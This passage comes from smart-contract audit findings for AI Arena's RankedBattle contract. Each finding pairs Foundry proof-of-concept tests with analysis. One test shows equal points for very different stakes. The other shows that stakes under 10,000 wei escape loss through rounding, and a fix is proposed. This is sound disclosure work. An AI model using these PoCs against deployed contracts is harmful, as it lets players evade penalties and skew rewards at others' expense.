        vm.prank(_treasuryAddress);
        _neuronContract.transfer(user, 4_000 * 10 ** 18);
        assertEq(4_000 * 10 ** 18 == _neuronContract.balanceOf(user), true);
    }

    function testPoC() public {
        // there are 2 users/players/fighter-owners Alice and Bob
        address Alice = vm.addr(4);
        address Bob = vm.addr(5);

        // They both have a fighter/NFT 
        _mintFromMergingPool(Alice); // Alice -> tokenId_0
        _mintFromMergingPool(Bob); // Bob -> tokenId_1

        assertEq(_fighterFarmContract.ownerOf(0), Alice);
        assertEq(_fighterFarmContract.ownerOf(1), Bob);

        uint256 Alice_TokenID = 0;
        uint256 Bob_TokenID = 1;

        // They both have 4000 $NRNs
        _fundUserWith4kNeuronByTreasury(Alice);
        _fundUserWith4kNeuronByTreasury(Bob);

        assertEq(_neuronContract.balanceOf(Alice), 4000e18);
        assertEq(_neuronContract.balanceOf(Bob), 4000e18);

        // Now we are in round_0
        assertEq(_rankedBattleContract.roundId(), 0);

        // Alice stakes 10 wei $NRN
        vm.prank(Alice);
        _rankedBattleContract.stakeNRN(10, Alice_TokenID);
        assertEq(_rankedBattleContract.amountStaked(Alice_TokenID), 10);

        // Bob stakes 3 $NRN (3e18 NRN)
        vm.prank(Bob);
        _rankedBattleContract.stakeNRN(3 * 10 ** 18, Bob_TokenID);
        assertEq(_rankedBattleContract.amountStaked(Bob_TokenID), 3 * 10 ** 18);

        // both Alice and Bob will win the first fight
        // 0 win
        // 1 tie
        // 2 loss
        vm.prank(_GAME_SERVER_ADDRESS);
        _rankedBattleContract.updateBattleRecord(Alice_TokenID, 50, 0, 1500, true);
        vm.prank(_GAME_SERVER_ADDRESS);
        _rankedBattleContract.updateBattleRecord(Bob_TokenID, 50, 0, 1500, true);

        // we see both of them are received 750 points (in round_0), And this is not a fair and equal situation
        assertEq(_rankedBattleContract.accumulatedPointsPerAddress(Alice, 0), 750);
        assertEq(_rankedBattleContract.accumulatedPointsPerAddress(Bob, 0), 750);
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

Consider using a more complicated formula to calculate the stakingFactor.

Assessed type

Math

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L439 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L476-L478 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L491-L497

Vulnerability details

Impact

If the user stakes less than 10_000 (in wei) NRN, then even if the user loses the fight/battle, he/she/it won't lose anything.

Proof of Concept

We assume the attacker joined into protocol and staked 999 (wei) NRN in round_0 and attacker loses the first fight.

The below formula is used to calculate curStakeAtRisk:

curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;

bpsLostPerLoss = 10 // this is defined constantly in the contract amountStaked[tokenId] = 999 // attacker staked less than 10_000, for example 999 stakeAtRisk = 0 // This is the first fight for attacker and he doesn't have any stake at risk

Now:

curStakeAtRisk = (10 * (999 + 0)) / 10**4 = (9990 / 10000) = 0

Then because the attacker lost the first fight, the _addResultPoints comes here:

 if (accumulatedPointsPerFighter[tokenId][roundId] > 0) {
                /// If the fighter has a positive point balance for this round, deduct points 
                points = stakingFactor[tokenId] * eloFactor;
                if (points > accumulatedPointsPerFighter[tokenId][roundId]) {
                    points = accumulatedPointsPerFighter[tokenId][roundId];
                }
                accumulatedPointsPerFighter[tokenId][roundId] -= points;
                accumulatedPointsPerAddress[fighterOwner][roundId] -= points;
                totalAccumulatedPoints[roundId] -= points;
                if (points > 0) {
                    emit PointsChanged(tokenId, points, false);
                }
            } else {
                /// If the fighter does not have any points for this round, NRNs become at risk of being lost
                bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk);
                if (success) {
                    _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner);
                    amountStaked[tokenId] -= curStakeAtRisk;
                }
            }

If the attacker has earned any points from the previous fights, the it goes into if-block and the attacker will lose that points. but due to that this is the first fight for attacker, it goes into else-block:

else {
                /// If the fighter does not have any points for this round, NRNs become at risk of being lost
                bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk);
                if (success) {
                    _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner);
                    amountStaked[tokenId] -= curStakeAtRisk;
                }
            }

The else-block tries to remove some amount of NRN from that 999 (staked amount) and push them at risk of loss, but due to that the curStakeAtRisk is 0, the attacker won't lose anything and the amountStaked for attacker will remain unchanged.

Here is a PoC which proves the vulnerability, create a new test file and paste the below code and run forge test --match-contract PoC:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {FighterFarm} from "../src/FighterFarm.sol";
import {Neuron} from "../src/Neuron.sol";
import {AAMintPass} from "../src/AAMintPass.sol";
import {MergingPool} from "../src/MergingPool.sol";
import {RankedBattle} from "../src/RankedBattle.sol";
import {VoltageManager} from "../src/VoltageManager.sol";
import {GameItems} from "../src/GameItems.sol";
import {AiArenaHelper} from "../src/AiArenaHelper.sol";
import {StakeAtRisk} from "../src/StakeAtRisk.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

contract PoC is Test {
    /*//////////////////////////////////////////////////////////////
                                CONSTANTS
    //////////////////////////////////////////////////////////////*/

    uint8[][] internal _probabilities;
    address internal constant _DELEGATED_ADDRESS = 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0;
    address internal constant _GAME_SERVER_ADDRESS = 0x7C0a2BAd62C664076eFE14b7f2d90BF6Fd3a6F6C;
    address internal _ownerAddress;
    address internal _treasuryAddress;
    address internal _neuronContributorAddress;

    /*//////////////////////////////////////////////////////////////
                             CONTRACT INSTANCES
    //////////////////////////////////////////////////////////////*/

    FighterFarm internal _fighterFarmContract;
    AAMintPass internal _mintPassContract;
    MergingPool internal _mergingPoolContract;
    RankedBattle internal _rankedBattleContract;
    VoltageManager internal _voltageManagerContract;
    GameItems internal _gameItemsContract;
    AiArenaHelper internal _helperContract;
    Neuron internal _neuronContract;
    StakeAtRisk internal _stakeAtRiskContract;

    function getProb() public {
        _probabilities.push([25, 25, 13, 13, 9, 9]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 10]);
        _probabilities.push([25, 25, 13, 13, 9, 23]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 3]);
    }

    function setUp() public {
        _ownerAddress = address(this);
        _treasuryAddress = vm.addr(1);
        _neuronContributorAddress = vm.addr(2);
        getProb();

        _fighterFarmContract = new FighterFarm(_ownerAddress, _DELEGATED_ADDRESS, _treasuryAddress);

        _helperContract = new AiArenaHelper(_probabilities);

        _mintPassContract = new AAMintPass(_ownerAddress, _DELEGATED_ADDRESS);
        _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract));
        _mintPassContract.setPaused(false);

        _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress);

        _voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract));

        _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress);

        _rankedBattleContract = new RankedBattle(
            _ownerAddress, _GAME_SERVER_ADDRESS, address(_fighterFarmContract), address(_voltageManagerContract)
        );

        _mergingPoolContract =
            new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract));

        _stakeAtRiskContract =
            new StakeAtRisk(_treasuryAddress, address(_neuronContract), address(_rankedBattleContract));

        _voltageManagerContract.adjustAllowedVoltageSpenders(address(_rankedBattleContract), true);

        _neuronContract.addStaker(address(_rankedBattleContract));
        _neuronContract.addMinter(address(_rankedBattleContract));

        _rankedBattleContract.instantiateNeuronContract(address(_neuronContract));
        _rankedBattleContract.instantiateMergingPoolContract(address(_mergingPoolContract));
        _rankedBattleContract.setStakeAtRiskAddress(address(_stakeAtRiskContract));

        _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));
        _fighterFarmContract.addStaker(address(_rankedBattleContract));
        _fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract));
        _fighterFarmContract.instantiateMintpassContract(address(_mintPassContract));
        _fighterFarmContract.instantiateNeuronContract(address(_neuronContract));
    }

    /// @notice Helper function to mint an fighter nft to an address.
    function _mintFromMergingPool(address to) internal {
        vm.prank(address(_mergingPoolContract));
        _fighterFarmContract.mintFromMergingPool(to, "_neuralNetHash", "original", [uint256(1), uint256(80)]);
    }

    /// @notice Helper function to fund an account with 4k $NRN tokens.
    function _fundUserWith4kNeuronByTreasury(address user) internal {
        vm.prank(_treasuryAddress);
        _neuronContract.transfer(user, 4_000 * 10 ** 18);
        assertEq(4_000 * 10 ** 18 == _neuronContract.balanceOf(user), true);
    }

    function testPoC() public {
        // there is attacker
        address attacker = vm.addr(4);

        // attacker has a fighter/NFT 
        _mintFromMergingPool(attacker);
        assertEq(_fighterFarmContract.ownerOf(0), attacker);

        uint256 attacker_tokenId = 0;

        // attacker has some amount of $NRN
        _fundUserWith4kNeuronByTreasury(attacker);
        assertEq(_neuronContract.balanceOf(attacker), 4000e18);

        // Now we are in round_0
        assertEq(_rankedBattleContract.roundId(), 0);

        // attacker stakes 999 $NRN (999 wei)
        vm.prank(attacker);
        _rankedBattleContract.stakeNRN(999, attacker_tokenId);
        assertEq(_rankedBattleContract.amountStaked(attacker_tokenId), 999);

        // attacker loses the fight/battle 
        // 0 win
        // 1 tie
        // 2 loss
        vm.prank(_GAME_SERVER_ADDRESS);
        _rankedBattleContract.updateBattleRecord(attacker_tokenId, 50, 2, 1500, true);

        // but we see nothing is changed for attacker, eveything is good without any affect
        assertEq(_stakeAtRiskContract.getStakeAtRisk(attacker_tokenId), 0); // attacker doesn't have any stake at risk
        assertEq(_rankedBattleContract.amountStaked(attacker_tokenId), 999); // that 999 NRN is not affected and attacker has that NRN's
        assertEq(_rankedBattleContract.accumulatedPointsPerFighter(attacker_tokenId, 0), 0); // no negative points for attacker

    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

No one should be able to stake less than 10000:

diff --git a/src/RankedBattle.sol b/src/RankedBattle.sol
index 53a89ca..63931b9 100644
--- a/src/RankedBattle.sol
+++ b/src/RankedBattle.sol
@@ -242,7 +242,7 @@ contract RankedBattle {
     /// @param amount The amount of NRN tokens to stake.
     /// @param tokenId The ID of the fighter to stake.
     function stakeNRN(uint256 amount, uint256 tokenId) external {
-        require(amount > 0, "Amount cannot be 0");
+        require(amount >= 10000, "Amount cannot less than 10000");
         require(_fighterFarmInstance.ownerOf(tokenId) == msg.sender, "Caller does not own fighter");
         require(_neuronInstance.balanceOf(msg.sender) >= amount, "Stake amount exceeds balance");
         require(hasUnstaked[tokenId][roundId] == false, "Cannot add stake after unstaking this round");

Assessed type

Invalid Validation